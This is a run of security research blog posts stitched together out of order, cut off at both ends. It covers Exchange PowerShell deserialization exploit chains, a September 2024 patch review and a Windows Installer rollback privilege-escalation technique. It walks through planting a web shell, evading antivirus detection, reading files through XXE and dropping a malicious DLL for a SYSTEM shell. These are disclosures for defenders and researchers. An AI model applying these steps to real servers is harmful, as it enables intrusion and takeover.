• Delivering 3 CAB files: one for FUSE.Paxos.dll, one for Ijwhost.dll and one containing a corrupted file for leaking the GUID.

You may remember that the attacker’s input is first passed to the File.Exists method and we need to pass that check. To do that, we need to prepare a tricky SMB share structure. It’s not hard to accomplish, though, and you can prepare such a share either on Windows or Linux.

Figure 8 - Sample SMB share for exploitation

Now, File.Exists succeeds, because it interprets the argument as a path to a deeply nested t.cab file. This deeply nested t.cab is of no further interest after we pass the File.Exists check. expand still sees the argument as a sequence of three separate shallow paths, with the addition of the flag -r in between the first two.

With this, we can drop both DLLs to the file system, as well as leak the file write path into one of the Windows log files. The last part to figure out is how to read this log file.

CVE-2023-36777 – XXE to File Read

As mentioned in the previous post, the Exchange issues that I previously reported were fixed by adding to the denylist of gadgets. According to that, I was free to use any class for PowerShell deserialization that was still not on the denylist.

I wanted to read the content of setupact.log to leak the GUID, and it didn’t take me long to find two classes: Microsoft.Build.Execution.ProjectInstance and Microsoft.Build.Evaluation.Project. Each defines a single-argument constructor, which we can reach through deserialization. Sample constructor:

The constructors lead to the Microsoft.Build.Evaluation.ProjectRootElementCache.Get method:

At [1], a new XmlDocument is initialized, and at [2], the XML document from the attacker-controlled path is loaded. As Exchange still runs on an older version of .NET Framework, XmlDocument is not protected against XXE by default.

We can store our malicious XML file on the same SMB share as our CAB files. Now, we can use this XXE to read setupact.log and retrieve the random name of the directory where the DLLs were dropped.

Figure 9 - Retrieving leaked GUID with XXE

Now we have all that we need to achieve RCE. We can deserialize the local DLL loading gadget and provide it with the following input:

C:\Windows\Temp\ 7ed16d75-c0c3-4466-8266-98d0abb764ed\a

This will load the malicious FUSE.Paxos.dll that we uploaded.

Final Chain

To sum up, we can now chain all 3 vulnerabilities:

• CVE-2023-36744 -> Arbitrary File Write through Argument Injection, which drops a malicious DLL to the local file system. The drop path is randomized and initially unknown.
• CVE-2023-36777 -> Arbitrary File Read, to leak the randomized drop path.
• CVE-2023-36745 -> Local DLL Loading to load the dropped DLL and achieve RCE as SYSTEM.

The entire chain can be seen in action in the following demo.

Summary

In this blog post, I have presented a chain of three vulnerabilities that lead to RCE on Microsoft Exchange Server. It can be executed by any domain user.  The requirement of a domain user is due to the fact that the attacker needs the ability to invoke Exchange PowerShell cmdlets on the server.

In the next blog post, which will be part 4 of 4 in the Exchange PowerShell Remoting series, I’m going to show you how Microsoft has finally provided a reasonably comprehensive patch for Exchange PowerShell remoting deserialization flaws. Even still, I managed to find a way to exploit several allowlisted classes to achieve both file read and NTLM relaying, through setter-based PowerShell remoting conversion.

Until my next post, you can follow me @chudypb and follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

As you may know, I recently presented my Exchange-related talk during OffensiveCon 2024. This series of 4 blog posts is meant to supplement the talk and provide additional technical details. You can read the first post in this series here.

In part 2, I describe the ApprovedApplicationCollection gadget, which was available for abuse because it did not appear on the deny list and could therefore be accessed via MultiValuedProperty. I am also presenting a path traversal in the Windows utility extrac32.exe, which allowed me to complete the chain for a full RCE in Exchange. For the moment, at least, Microsoft has made a decision not to fix this path traversal bug.

You can watch the full talk here: “Half Measures and Full Compromise: Exploiting Microsoft Exchange PowerShell Remoting”. This blog post covers the part from 18:10 to 21:10.

Introduction

In the previous post, I described two RCE vulnerabilities, CVE-2023-21529 and CVE-2023-32031. In this post, I present the next RCE that found in Microsoft Exchange. It consists of a chain of two vulnerabilities:

• CVE-2023-36756 – a vulnerability in Exchange Server.
• ZDI-CAN-21499 – an unpatched path traversal vulnerability in the Windows utility extrac32.exe.

Microsoft decided that ZDI-CAN-21499 would not be fixed as “Windows customers are not exposed to this vulnerability.” They also note that, in their view, “It is the caller's (the application using extrac32) responsibility to make sure extrac32 is not called on untrusted CAB files.” As we will see in this article, though, the extrac32 issue can be used to an attacker’s advantage.

The Patch for CVE-2023-32031

While Microsoft was dealing with the ProxyNotShell chain back in 2022, I took some time to look for different classes that could be abused to exploit PowerShell Remoting for some security impact, such as RCE, file disclosure, denial of service, or NTLM relaying. I found around 30 unique classes and reported them to Microsoft.

Those submissions were marked as duplicates and were ignored, which in my opinion was a mistake. The initial patch for the ProxyNotShell included an allow list, so it seems that the deficiencies in the separate deny list did not attract the attention it should. The problem became evident later when I discovered the vulnerable MultiValuedProperty class (CVE-2023-21529). This class was present on the allow list, and it allowed me to access a separate, internal deserialization mechanism not subject to the allow list sanitation. Even after the internal MultiValuedProperty deserialization mechanism was hardened by means of the deny list, I was able to easily abuse the classes that I had reported many months before, as they had not been added to the deny list. For example, I was able to use the Command class, as I described in the previous post. I had originally reported this class to Microsoft in September 2022, but I was able to reuse this class for CVE-2023-32031 almost seven months later because it did not appear on the deny list introduced in the patch for MultiValuedProperty.

To patch CVE-2023-32031, Microsoft expanded the deny list to include all the classes that I had previously in 2022. The patch went no further than that. Critically, it still did not introduce an allow list, so it was game on. All I had to do was find another class with security impact not included in the deny list, and then I could use MultiValuedProperty to deserialize it. This became my next challenge

CVE-2023-36756 – ApprovedApplicationCollection

I was looking for classes where something potentially malicious could be reached either through a single-argument constructor or a static Parse(String) method. This approach led me to the Microsoft.Exchange.Data.Directory.SystemConfiguration.ApprovedApplicationCollection class.

As you can see, we can deliver an object of any type to the constructor. The code flow can go in multiple directions from here.

We are interested in a case where a string is provided to the constructor. When a string is provided, the code expects it to be a valid path to a file with a .cab extension. The code does not validate the path in any meaningful way except for checking the extension. The code leads to the ParseCab method, where the argument contains the attacker-supplied path:

At [1], a FileInfo object is created from the attacker’s path.

At [2] and [3], a temporary output directory is created.

At [4], the OpenCabinetFile method is called.

At [5], the entire temporary directory is deleted.

At this stage, we can confirm two things. We can deliver a UNC path, such as \\192.168.1.100\poc\poc.cab. The Exchange PowerShell Remoting requires Kerberos authentication, so the attacker most likely resides in the internal network anyway. It is rather rare to see the SMB traffic filtered internally. Thus, in most cases it will not present a challenge for the attacker to host content that the Exchange server can access over SMB.

Next, our remote path is processed by OpenCabinetFile. Let’s analyze this method.

It seems that our cabinet file is going to be extracted with the following command:

extrac32.exe /Y /E /L “C:\Windows\Temp\random-uuid\” “\\192.168.1.100\poc\poc.cab”

Basically, the content of our remote CAB file will be extracted to some temporary directory. Then, the entire directory will be deleted. There does not seem to be any available unsafe operations here. As we will see, though, it turns out that extrac32 has its own issues.

ZDI-CAN-21499 – Unpatched Path Traversal in extrac32

In general, we can use the ApprovedApplicationCollection internal Exchange class to extract our CAB file with the Windows utility extrac32.exe. This could lead to a file parsing bug, where the parsing part is performed by some unmanaged code. We could always try to look for memory corruptions in extrac32.exe. Before even thinking about it, I decided to go for a full-dumb option, which can be summarized with the following meme.

I simply created a CAB containing a single file, where the filename contains the path traversal sequence ..\, and tested it.

It turned out that the extrac32 extraction mechanism is vulnerable to a trivial path traversal. There is still one problem, though. The file presented in the screenshot gets detected as malicious by Windows Defender:

Luckily for the attackers, antivirus signatures are not always very smart, and this one can be easily bypassed. For example:

..\poc.txt - the CAB file gets tagged as malicious by Windows Defender.

../poc.txt - the CAB file is seen as legitimate by Windows Defender.

I reported the path traversal vulnerability to Microsoft in June of 2023. After a short discussion, we received the following final response from the vendor:

“To clarify our earlier point – it is the caller's (application using extrac32) responsibility to make sure extrac32 is not called on untrusted CAB files.”

To me, this does not seem sensible. It seems like the equivalent of asking people to manually verify the contents of a ZIP file before you unzip it with one of the available solutions. However, this was Microsoft’s final reply.

The upshot was that since Microsoft clearly stated that it is going to be Exchange’s fault for the way it uses extrac32, I could use this to get a CVE in Exchange.

Chaining the Pieces

The attacker needs to do the following to exploit this vulnerability:

-- Create a malicious CAB file that contains an ASPX web shell, with the file name set to something like ../../../../../../../../inetpub/wwwroot/poc.aspx.
-- Host this CAB file on an SMB share in the domain.
-- Perform PowerShell Remoting deserialization, where:
       -- The target type is MultiValuedProperty<ApprovedApplicationCollection>.
       -- The argument is a UNC path pointing to our CAB file, such as: \\192.168.1.100\poc\poc.cab.
-- Access the webshell and get code execution.

Fragment of the payload:

After this, you can enjoy your web shell.

As always, I have prepared a demo that presents the entire exploitation process.

Summary

In this blog post, I have presented the CVE-2023-36756 vulnerability in Microsoft Exchange Server. It allowed any authenticated attacker to achieve remote code execution by uploading a web shell.

In my next blog post, part 3 of the Exchange PowerShell Remoting series, I am going to present my CVE-2023-36745 RCE vulnerability. To make it work, I had to prepare one of the craziest chains that I have ever made, so I am excited to share it with you. Once again, you can watch my entire OffensiveCon 2024 talk here.

Until my next post, you can follow me @chudypb and follow the team on Twitter, Mastodon, LinkedIn, Bluesky, or Instagram for the latest in exploit techniques and security patches.

We’ve reached September and the pumpkin spice floats in the air. While they aren’t pumpkin-spiced, Microsoft and Adobe have released their latest spicy security patches – including some zesty 0-days. Take a break from your regular activities and join us as we review the details of their latest security alerts. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for September 2024

For September, Adobe released eight bulletins covering 28 CVEs in Adobe Acrobat and Reader, ColdFusion, Photoshop, Media Encoder, Audition, After Effects, Premier Pro, and Illustrator. A total of seven of these bugs came through the ZDI program. If you’re prioritizing, I would look at the ColdFusion patch first. It corrects a single code execution bug rated at CVSS 9.8. It’s unusual to see patches for Acrobat and Reader in back-to-back months, but I guess these two Critical-rated bugs were late for last month’s release. The fix for Photoshop fixes five CVEs, four of which are rated Critical. The Illustrator patch fixes six bugs, with four of those being Critical code execution bugs

The update for Premier Pro fixes one Critical and one Moderate bug. The fix for After Effects covers five bugs, including two from ZDI researcher Mat Powell. He’s also responsible for the Critical-rated bug in Audition. The final patch from Adobe covers five bugs in Media Encoder, two of which are rated Critical.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. Adobe categorizes these updates as a deployment priority rating of 3.

Microsoft Patches for September 2024

This month, Microsoft released 79 new CVEs in Windows and Windows Components; Office and Office Components; Azure; Dynamics Business Central; SQL Server; Windows Hyper-V; Mark of the Web (MOTW); and the Remote Desktop Licensing Service. Four of these vulnerabilities were reported through the ZDI program.

Of the patches being released today, seven are rated Critical, 71 are rated Important, and one is rated Moderate in severity. The size of this release tracks with the volume we saw from Redmond last month, but again, it’s unusual to see such a high number of bugs under active attack.

One of these CVEs is listed as publicly known, and four others are listed as under active attack at the time of release. However, we at the ZDI think that number should be five. More on that later. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerabilities currently being exploited:

CVE-2024-43491 - Microsoft Windows Update Remote Code Execution Vulnerability
This is an unusual bug. At first, it reads like a downgrade attack similar to the one discussed at Black Hat. However, it appears that this downgrade was introduced through updates to the Servicing Stack affecting Optional Components on Windows 10 systems. Admins will need to install both the servicing stack update (KB5043936) AND this security update (KB5043083) to fully address the vulnerability. It’s also interesting to note that while this particular bug isn’t being exploited in the wild, it allowed some of those Optional Components to be exploited. The only good news here is that only a portion of Windows 10 systems are affected. Check the write-up from Microsoft to see if you’re impacted, then test and deploy these updates quickly.

CVE-2024-38226 - Microsoft Publisher Security Features Bypass Vulnerability  
I’m always amazed by the ingenuity of attackers, be they red teamers or threat actors. Who would have thought to exploit macros in Microsoft Publisher? I had forgotten all about that program. But here we are. The attack involves specially crafted files being opened by affected Publisher versions. Obviously, an attacker would need to convince a target to open the file, but if they do, it will bypass Office macro policies and execute code on the target system.

CVE-2024-38217 - Windows Mark of the Web Security Feature Bypass Vulnerability
We’ve talked a lot about MoTW bypasses over the last several months, but it seems like there’s always more to say. This is one of two MoTW bypasses receiving fixes this month, but only this one is listed as under attack. Microsoft provides no details about the attacks, but in the past, MoTW bypasses have been associated with ransomware gangs targeting crypto traders. This bug is also listed as publicly known, but no information is provided about that detail either.

CVE-2024-38014 - Windows Installer Elevation of Privilege Vulnerability  
Here’s yet another privilege escalation bug that leads to SYSTEM being exploited in the wild. And not conjure Xzibit memes, but I think it’s great when attackers put an extra installer in the Installer. Interestingly, Microsoft states that no user interaction is required for this bug, so the actual mechanics of the exploit may be odd. Still, privilege escalations like this are typically paired with a code execution bug to take over a system. Test and deploy this fix quickly.

CVE-2024-43461 - Windows MSHTML Platform Spoofing Vulnerability
This bug is similar to the vulnerability we reported and was patched back in July. The ZDI Threat Hunting team discovered this exploit in the wild and reported it to Microsoft back in June. It appears threat actors quickly bypassed the previous patch. When we told Microsoft about the bug, we indicated it was being actively used. We’re not sure why they don’t list it as being under active attack, but you should treat it as though it were, especially since it affects all supported versions of Windows.

Here’s the full list of CVEs released by Microsoft for September 2024:

† Indicates further administrative actions are required to fully address the vulnerability.

Moving on to the other Critical-rated bugs, the vulnerability in SharePoint stands out. It was discovered by ZDI researcher Piotr Bazydło and could lead to code execution in the context of the service account. The specific flaw exists within the handling of serialized instances of the SPThemes class. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. There’s another Critical fix for SharePoint, but it requires Site Owner permissions. There are two bugs in Azure Stack Hub that could allow an attacker to interact with other tenants’ applications and content. However, the threat actor would need the target to initiate a connection. There’s a bug in NAT that would allow unauthenticated code execution, but the attacker would need access to a restricted network first since NAT isn’t routable (in most cases). The final Critical bug has already been mitigated by Microsoft and is being publicly documented.

Looking at the other code execution bugs, the two in TCP/IP stand out, especially considering the ugly bug in TCP fixed last month. However, these bugs require a non-default configuration, so they are less likely to have a big impact. For enterprises configured with NetNAT, test and deploy this update quickly. There are four code execution bugs in the Remote Desktop Licensing Service, but all require authentication. There are six fixes for SQL Server Native Scoring, and the exploit scenario here is interesting. According to Microsoft, exploitation “requires an authenticated attacker to leverage SQL Server Native Scoring to apply pre-trained models to their data without moving it out of the database.” The servicing scenario is also convoluted, as you may need to contact third-party vendors to verify apps are compatible with Microsoft OLE DB Driver 18 or 19. Read the bulletin, scratch your head, then read it again. Bugs like this one make me unreasonably angry when people say, “Just Patch.”

The bug in Azure CycleCloud almost reads like a privilege escalation, as a basic user could make specially crafted requests to modify the configuration of an Azure CycleCloud cluster to gain root-level permissions. There are two other fixes for SharePoint, but they are listed as Important instead of Critical for some reason – despite looking suspiciously similar to the Critical-rated bugs. This fix for Power Automate Desktop is found in the Windows Store, so if you have disabled Store updates, you’ll need to apply this fix manually. The remaining RCE bugs are garden-variety open-and-own vulnerabilities.

There are 30 fixes for Elevation of Privilege (EoP) bugs in this release including those already. Mentioned. However, most of these either lead to SYSTEM-level code execution or administrative privileges if an authenticated user runs specially crafted code. The bugs in SQL Server will have the same servicing problems as previously mentioned. Bottom line – it’s a bad month to be an SQL Server admin. The bug in PowerShell could allow a regular user to elevate to an unrestrained WDAC user.

Beyond those already mentioned, there are two Security Feature Bypass (SFB) bugs receiving patches this month. Both involve web browsing. The first is in Windows Security Zone Mapping and could allow an attacker to craft a URL that would be interpreted as belonging to a more privileged zone. The other is another MoTW SmartScreen bypass. This one is not listed as public, but the technique is quite in vogue right now.

The September release includes fixes for 11 different information disclosure bugs. Thankfully, most only result in info leaks consisting of unspecified memory contents. There are two exceptions. The bug in Remote Desktop Licensing Service could disclose the ever-ethereal “sensitive information”. The bug in Outlook for iOS would allow attackers to read “file content.” It’s not clear if that’s random file content or if the files can be specified by the attacker. Also, you’ll need to get this update from the App Store if you haven’t enabled automatic updates on your iOS device.

In addition to the spoofing bug under active attack, there’s also a fix for a spoofing bug in the Windows Remote Desktop Licensing Service. Microsoft doesn’t specify what is being spoofed; only that an attacker must be able to send requests to the Terminal Server Licensing Service. This shouldn’t be reachable from the Internet, but now would be a fine time to verify that fact.

The September release includes fixes for a handful of Denial-of-Service (DoS) bugs. However, Microsoft again provides little additional information about these vulnerabilities. There are some things we can see in the tea leaves. For example, one of the patches for Windows Networking notes that an unauthenticated attacker with LAN access can exploit this bug. However, the other patches for Windows Network list the attack vector as Network instead of Adjacent. I would still think the attacker would be unauthenticated. The DoS in the DHCP server would likely shut down the service, but again, it’s not clear if that’s a permanent or a temporary DoS. We do know the DoS in Hyper-V would allow an attacker on a guest OS to impact the functionality of the host OS.

Finally, the release is rounded out by a single cross-site scripting (XSS) bug in Microsoft Dynamics (on-premises).

There are no new advisories in this month’s release.

Looking Ahead

The next Patch Tuesday of 2024 will be on October 8, and I’ll return with details and spooky patch analysis then. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

As you may know, I recently presented my Exchange-related talk during OffensiveCon 2024. This series of four blog posts is meant to supplement the talk and provide additional technical details. For those who did not attend OffensiveCon, you can also watch the full talk here: “Half Measures and Full Compromise: Exploiting Microsoft Exchange PowerShell Remoting”. This blog post covers the part from 12:05 to 18:10.

In this article, part one of the series, I describe the MultiValuedProperty exploitation primitive, which became fundamental for my further exploitation of Exchange PowerShell. I also present a bypass for Microsoft’s first patch for this vulnerability, accomplished by chaining MultiValuedProperty with the Command class.

Introduction

You might already be familiar with the Exchange ProxyNotShell chain, CVE-2022-41040 and CVE-2022-41082. It allowed any authenticated Exchange user to achieve remote code execution. ProxyNotShell was exploited in the wild before Microsoft released a patch.

I described the ProxyNotShell chain, especially its RCE vector, in this blog post. Before proceeding with this post, please make sure that you are familiar with the original issue, as this article will focus on bypassing the patches.

In this blog post, I would like to start with 2 RCE vulnerabilities:

• ZDI-23-163/ CVE-2023-21529 – abuse of the allowed MultiValuedProperty class.
• ZDI-23-881/ CVE-2023-32031 – bypass for CVE-2023-21529, abuse of not blocked Command class.

Accessing PowerShell Without ProxyShell Path Confusion

The original path confusion vulnerability, CVE-2021-34473, was discovered by Orange Tsai. He used it together with CVE-2021-34523 and CVE-2021-31207 to achieve pre-auth remote code execution, forming the chain known as ProxyShell.

Microsoft’s original patch for the path confusion did not eliminate the root of the problem, but instead placed it behind authentication. After the patch, it was exploited in the wild for post-auth remote code execution using the ProxyNotShell chain mentioned above.

Exploitation of the path confusion allowed a threat actor to reach the Exchange PowerShell backend by sending HTTP requests to the autodiscover endpoint.

After the patch for ProxyNotShell, it appears that this attack vector is completely blocked, though I must admit that I have never fully verified that patch. Nonetheless, a low-privileged attacker still has direct access to Exchange PowerShell Remoting, subject to Kerberos authentication. This is because every Exchange user can trigger some Exchange PowerShell cmdlets, such as Get-Mailbox. Instructions that describe direct interaction with the Exchange PowerShell can be found here.

As Kerberos authentication is required, this attack surface is probably restricted to internal attackers, which is to say, attackers who are already present in the organization’s network. There remains plenty of reason for concern, though. It would not be good if any domain account (and organization member) could escalate to SYSTEM on the Exchange server.

Patch for the ProxyNotShell CVE-2022-41082 RCE

CVE-2022-41082, the RCE part of the ProxyNotShell chain, was fixed with the introduction of the Microsoft.Exchange.Diagnostics.UnitySerializationHolderSurrogateSelector class. It extends SurrogateSelector and its main goal is to validate the types that are retrieved during the deserialization of UnitySerializationHolder. It does this by checking the types against an allow list.

Microsoft’s approach here seems appropriate. An allow list is probably the best way to fight deserialization issues and similar type-based vulnerabilities. However, when the allow list is extensive, it may be possible to find some types there that can be used in exploitation. I decided to take this path and look for potentially dangerous allowed classes.

ZDI-23-162/ CVE-2023-21529 – Allowed MultiValuedProperty Leads to RCE

The Exchange allow lists can be divided into two main parts:
• List of allowed regular types.
• List of allowed generic types.

Generic types seem especially interesting because they allow the inclusion of arbitrary, internal types. Moreover, generic types can be also retrieved through a deserialization of UnitySerializationHolder. Let’s review the list of allowed generics that are defined in the Microsoft.Exchange.Data.SerializationTypeConverter.allowedGenerics member.

The first part of the list is especially interesting because it contains custom Exchange types. It turns out that deserialization involving retrieval of the Microsoft.Exchange.Data.MultiValuedProperty<T> or Microsoft.Exchange.Data.DagNetMultiValuedProperty<T> generic classes can lead to remote code execution.

One may remember that PowerShell Remoting deserialization allows one to call a single-argument constructor of any allowed type (as long as the argument can be also deserialized). This leads us to a consider a single-argument constructor of MultiValuedProperty<T>.

As you can see, it accepts an argument of type object. Thus, the attacker can provide an instance of any allowed PowerShell Remoting deserializable class. This constructor invokes a different constructor that accepts a larger number of arguments.

A great deal of processing occurs after the constructor call. Of primary interest is that we ultimately reach the ValueConvertor.ConvertValue method. Here, the attacker-controlled type is provided as the second argument, while the attacker-controlled object is provided as the first argument. This is the object provided to the MultiValuedProperty constructor.

At [1], it invokes ValueConvertor.TryParseConversion. This call looks particularly interesting because the method name suggests that the Parse method is involved.

At [2], it calls TryConstructorConversion.

Let’s focus on the parse-based conversion now.

At this stage, it is worth to note the values of specific arguments:

• originalValue - value provided by the attacker to the MultiValuedProperty constructor.
• originalType - type of the originalValue.
• resultType - the type parameter (“T”) of the attacker-specified generic MultiValuedProperty<T> type.

At [1], the method checks if originalType is the type string

At [2], it calls ConvertValueFromString. This method is also called during the deserialization process. This method hardcodes several possible conversions and throws NotImplementedException if the conversion from originalType to resultType is not implemented.

At [3], it catches the exception.

At [4], it retrieves the public static Parse method from the attacker-controlled resultType.

At [5], it invokes the Parse method with the attacker-specified value.

To summarize, the MultiValuedProperty<T> generic class implements another way to call the Parse method. This can result in invocation of the XamlReader.Parse(String) method with an attacker-controlled string. In addition, TryConstructorConversion allows one to call a single-argument constructor of a given class.

At this point, one can see that MultiValuedProperty<T> class implements the two most powerful conversions of PowerShell Remoting. Since it is an internal deserialization mechanism, it is included on the allow list. It can be abused by the attacker, for example to call a single-argument constructor of any accessible class. This became a fundamental building block for my subsequent vulnerability research.

As an example of how MultiValuedProperty<T> can be abused, consider the following code:

This line simulates what we achieve via Exchange PowerShell Remoting during exploitation:

• The attacker provides a serialized UnitySerializationHolder object that specifies the allowed MultiValuedProperty<T> type. The type parameter, T, is set to System.Windows.Markup.XamlReader.
• An allow list check is performed on our type: MultiValuedProperty<XamlReader>. The check is successful, because: (1) MultiValuedProperty<T> is present on the allow list, and (2) the type specified in the type parameter, XamlReader, is not subjected to validation at all.
• The MultiValuedProperty constructor instantiates a XamlReader object by calling the static XamlReader.Parse(String) method.
• As the attacker controls the input string, they can provide any XAML deserialization gadget to achieve remote code execution.

The simplified attack scheme is presented in the following diagram.

As we have shown, allow lists are not always secure, and they need to be carefully reviewed. It may turn out that even in a product as mature as Microsoft Exchange, allowed classes may contain functionality that can be abused. This may be especially true for generic classes included in the allow list. The generic (internal) type should always be verified by your type control mechanism. Otherwise, your allowed class may turn out to be abusable. Moreover, class inheritance should also be verified. For example, suppose that Microsoft removed MultiValuedProperty<T> from the allow list. We would still be able to reach it via the allowed type DagNetMultiValuedProperty<T>:

DagNetMultiValuedProperty<T> inherits from MultiValuedProperty<T>. Its single-argument constructor calls the constructor of the base class. Thus, it is another way to trigger the dangerous routine, and it could be abused even if MultiValuedProperty<T> were removed from the allow list.

ZDI-23-881/ CVE-2023-32031 – Bypassing the Internal Deny List with the Command Class

In CVE-2023-21529, I abused the internal deserialization-like mechanism that can be reached through the allow-listed MultiValuedProperty<T> class. When considering potential patches, two approaches present themselves:

1. Remove MultiValuedProperty<T> from the allow list.
2. Implement additional type control in the internal deserialization mechanism within MultiValuedProperty.

MultiValuedProperty is frequently used by the Exchange, thus removing it from an allow list is not an option. Implementing type control in the internal deserialization mechanism defined in ValueConvertor.ConvertValue looks like a good option though. This is what the patch looks like:

You can see that the ChainedSerializationBinder.ValidateResultType method was introduced, to limit the types that the attacker can specify.

Consequently, if the attacker provides the type MultiValuedProperty<XamlReader>, an exception is being thrown, because type XamlReader fails the new validation. Looking deeper into the validation mechanism, though, I found that type validation here is based on a deny list. Instead of implementing a allow list of types that can be used with the MultiValuedProperty, a deny list was used. If you have seen my Hexacon talk about .NET deserialization, you probably know that I love messing with deny lists.

The Exchange deny list is actually pretty good, and it contains dozens of classes. However, it contains almost no internal Exchange classes. My idea was to look for a class, that:

• Is not on the deny list.
• Implements a public and static Parse(String) method that leads to something exploitable, or
• Implements a public constructor that accepts a single argument and leads to something exploitable.

Such a class could be abused when chained with MultiValuedProperty internal deserialization.

The constructor-based deserialization is handled by the previously mentioned TryConstructorConversion method, and it is pretty much the same as the one implemented in PowerShell Remoting.

It didn’t take me long to find the Microsoft.Diagnostics.Runtime.Utilities.Command class:

At [1], the Command(String) constructor calls the Command(String, CommandOptions) constructor.

At [2], a new ProcessStartInfo is instantiated, and both the process name and arguments are retrieved from the attacker's controlled input.

At [3], Process.StartInfo is set to the ProcessStartInfo object from line [2].

At [4], a new process is started.

This class was not included in the deny list, so the following code:

Leads to the execution of cmd.exe /c calc.exe. That’s it. To sum this up, I did the following:

• I used the allow-listed MultiValuedProperty class to reach the internal deserialization mechanism. This mechanism is protected with the deny list of abusable types.
• I delivered the Command class, which is not on the deny list. This allows execution of an arbitrary command.

Demo

I presented the demo for CVE-2023-32031 during my Hexacon 2023 talk about .NET deserialization. It shows the entire exploitation process with the debugger attached.

Summary

In this blog post, I have described both CVE-2023-21529 and CVE-2023-32031. In those vulnerabilities, I abused both the allow-listed and deny-listed classes to achieve RCE on Exchange. That wasn’t the end of my Exchange vulnerability research, though. I still had two additional full-RCE chains that I was able to deliver after the CVE-2023-32031 patch.

In the next blog post, I will provide you with full details on the ZDI-23-1419/CVE-2023-36756 RCE vulnerability. Once again, you can watch my entire OffensiveCon 2024 talk here.

Until my next post, you can follow me @chudypb and follow the team on Twitter, Mastodon, LinkedIn, or Instagram for the latest in exploit techniques and security patches.

This version of the blog is preserved for archival purposes only. An updated version of this blog, including links to new PoC code, can be found here.

What do you do when you’ve found an arbitrary file delete as NT AUTHORITY\SYSTEM? Probably just sigh and call it a DoS. Well, no more. In this article, we’ll show you some great techniques for getting much more out of your arbitrary file deletes, arbitrary folder deletes, and other seemingly low-impact filesystem-based exploit primitives.

The Trouble with Arbitrary File Deletes

When you consider how to leverage an arbitrary file delete on Windows, two great obstacles present themselves:

1. Most critical Windows OS files are locked down with DACLs that prevent modification even by SYSTEM. Instead, most OS files are owned by TrustedInstaller, and only that account has permission to modify them. (Exercise for the reader: Find the critical Windows OS files that can still be deleted or overwritten by SYSTEM!)
2. Even if you find a file that you can delete as SYSTEM, it needs to be something that causes a “fail-open” (degradation of security) if deleted.

A third problem that can arise is that some critical system files are inaccessible at all times due to sharing violations.

Experience shows that finding a file to delete that meets all the above criteria is very hard. When looking in the usual places, which would be within C:\Windows, C:\Program Files or C:\Program Data, we’re not aware of anything that fits the bill. There is some prior work that involves exploiting antivirus and other products, but this is dependent on vulnerable behavior in those products.

The Solution is Found Elsewhere: Windows Installer

In March of 2021, we received a vulnerability report from researcher Abdelhamid Naceri (halov). The vulnerability he reported was an arbitrary file delete in the User Profile service, running as SYSTEM. Remarkably, his submission also included a technique to parlay this file delete into an escalation of privilege (EoP), resulting in a command prompt running as SYSTEM. The EoP works by deleting a file, but not in any of the locations you would usually think of.

To understand the route to privilege escalation, we need to explain a bit about the operation of the Windows Installer service. The following explanation is simplified somewhat.

The Windows Installer service is responsible for performing installations of applications. An application author supplies an .msi file, which is a database defining the changes that must be made to install the application: folders to be created, files to be copied, registry keys to be modified, custom actions to be executed, and so forth.

To ensure that system integrity is maintained when an installation cannot be completed, and to make it possible to revert an installation cleanly, the Windows Installer service enforces transactionality. Each time it makes a change to the system, Windows Installer makes a record of the change, and each time it overwrites an existing file on the system with a newer version from the package being installed, it retains a copy of the older version. In case the install needs to be rolled back, these records allow the Windows Installer service to restore the system to its original state. In the simplest scenario, the location for these records is a folder named C:\Config.Msi.

During an installation, the Windows Installer service creates a folder named C:\Config.Msi and populates it with rollback information. Whenever the install process makes a change to the system, Windows Installer records the change in a file of type .rbs (rollback script) within C:\Config.Msi. Additionally, whenever the install overwrites an older version of some file with a newer version, Windows Installer will place a copy of the original file within C:\Config.Msi. This type of a file will be given the .rbf (rollback file) extension. In case an incomplete install needs to be rolled back, the service will read the .rbs and .rbf files and use them to revert the system to the state that existed before the install.

This mechanism must be protected against tampering. If a malicious user were able to alter the .rbs and/or .rbf files before they are read, arbitrary changes to the state of the system could occur during rollback. Therefore, Windows Installer sets a strong DACL on C:\Config.Msi and the enclosed files.

Here is where an opening arises, though: What if an attacker has an arbitrary folder delete vulnerability? They can use it to completely remove C:\Config.Msi immediately after Windows Installer creates it. The attacker can then recreate C:\Config.Msi with a weak DACL (note that ordinary users are allowed to create folders at the root of C:\). Once Windows Installer creates its rollback files within C:\Config.Msi, the attacker will be able to replace C:\Config.Msi with a fraudulent version that contains attacker-specified .rbs and .rbf files. Then, upon rollback, Windows Installer will make arbitrary changes to the system, as specified in the malicious rollback scripts.

Note that the only required exploit primitive here is the ability to delete an empty folder. Moving or renaming the folder works equally well.

From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP

In conjunction with this article, we are releasing source code for Abdelhamid Naceri’s privilege escalation technique. This exploit has wide applicability in cases where you have a primitive for deleting, moving, or renaming an arbitrary empty folder in the context of SYSTEM or an administrator. The exploit should be built in the Release configuration for either x64 or x86 to match the architecture of the target system. Upon running the exploit, it will prompt you to initiate a delete of C:\Config.Msi. You can do this by triggering an arbitrary folder delete vulnerability, or, for testing purposes, you can simply run rmdir C:\Config.Msi from an elevated command prompt. Upon a successful run, the exploit will drop a file to C:\Program Files\Common Files\microsoft shared\ink\HID.DLL. You can then get a SYSTEM command prompt by starting the On-Screen Keyboard osk.exe and then switching to the Secure Desktop, for example by pressing Ctrl-Alt-Delete.

The exploit contains an .msi file. The main thing that’s special about this .msi is that it contains two custom actions: one that produces a short delay, and a second that throws an error. When the Windows Installer service tries to install this .msi, the installation will halt midway and rollback. By the time the rollback begins, the exploit will have replaced the contents of C:\Config.Msi with a malicious .rbs and .rbf. The .rbf contains the bits of the malicious HID.DLL, and the .rbs instructs Windows Installer to “restore” it to our desired location (C:\Program Files\Common Files\microsoft shared\ink\).

The full mechanism of the EoP exploit is as follows:

1. The EoP creates a dummy C:\Config.Msi and sets an oplock.
2. The attacker triggers the folder delete vulnerability to delete C:\Config.Msi (or move C:\Config.Msi elsewhere) in the context of SYSTEM (or admin). Due to the oplock, the SYSTEM process is forced to wait.
3. Within the EoP, the oplock callback is invoked. The following several steps take place within the callback.
